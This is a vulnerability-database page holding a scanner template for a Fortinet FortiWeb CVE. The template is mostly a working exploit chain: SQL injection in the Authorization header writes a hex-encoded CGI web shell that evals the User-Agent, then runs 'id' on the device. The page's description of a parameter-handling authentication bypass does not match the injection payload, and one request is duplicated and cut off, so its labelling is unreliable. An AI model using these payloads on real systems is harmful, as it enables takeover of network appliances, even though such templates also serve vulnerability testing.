CVE-2025-52970: Fortinet FortiWeb - Authentication Bypass to Admin Privilege

2026-01-08 Fortinet FortiWeb PoC Public

Description

A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.

PoC

id: CVE-2025-52970

info:
  name: Fortinet FortiWeb - Authentication Bypass to Admin Privilege
  author: Sourabh-Sahu
  severity: high
  description: |
    A improper handling of parameters in Fortinet FortiWeb versions 7.6.3 and below, versions 7.4.7 and below, versions 7.2.10 and below, and 7.0.10 and below may allow an unauthenticated remote attacker with non-public information pertaining to the device and targeted user to gain admin privileges on the device via a specially crafted request.
  impact: |
    Unauthenticated remote attackers can gain administrative privileges, leading to full control over the device.
  remediation: |
    Update to a version later than 7.6.3, 7.4.7, 7.2.10, or 7.0.10 or the latest available version.
  reference:
    - https://github.com/imbas007/POC-CVE-2025-52970/blob/main/README.md
    - https://github.com/34zY/CVE-2025-52970
    - https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-52970
    epss-score: 0.10084
    epss-percentile: 0.9548
    cwe-id: CWE-223
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 26
    vendor: Fortinet
    product: FortiWeb
    shodan-query:
      - http.title:"FortiWeb"
      - http.title:"Fortinet"
    fofa-query: app="Fortinet-FortiWeb"
    google-query: intitle:"FortiWeb" "login"
  tags: cve,cve2025fortinet,fortiweb,auth-bypass,priv-esc,vkev,intrusive,vuln

variables:
  f_cgi: "{{rand_text_alpha(6)}}.cgi"
  tf_cgi: "{{rand_text_alpha(2)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "name=\"secretkey")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x23212f62696e2f7368202d2d200d0a70)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x72696e74662022436f6e74656e742d54)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x7970653a20746578742f68746d6c5c72)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x5c6e223b7072696e746620225c725c6e)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x223b6576616c2024485454505f555345)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x525f4147454e54)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/migadmin/cgi-bin/{{f_cgi}}'/**/FIELDS/**/ESCAPED/**/BY/**/'';--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';drop/**/table/**/fabric_user.{{tf_cgi}};--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';create/**/table/**/fabric_user.{{tf_cgi}}/**/(a/**/TEXT);--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';insert/**/into/**/fabric_user.{{tf_cgi}}/**/values('');--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x696d706f7274206f732023200d0a6f73)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e73797374656d282763686d6f64202b)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x78202f6d696761646d696e2f6367692d)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x{{hex_encode(concat("bin/", f_cgi, " && rm "))}})/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x202d66202f7661722f6c6f672f6c6962)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2f707974686f6e332e31302f70796c6162)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';use/**/fabric_user;update/**/{{tf_cgi}}/**/set/**/a=(select/**/concat(a,0x2e707927292023)/**/from/**/{{tf_cgi}});--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'';--

      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer ';select/**/a/**/from/**/fabric_user.{{tf_cgi}}/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'

      - |
        GET /cgi-bin/ml-draw.py HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /cgi-bin/{{f_cgi}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: id

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
        condition: and
# digest: 4a0a00473045022100b10a81464a992a733f639143c449552efa2b7536e15c08ea1f20858308db493d0220486bb256ef61aceae31a8591c5eca31d76e3745c35bb3149aa8079b449956936:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities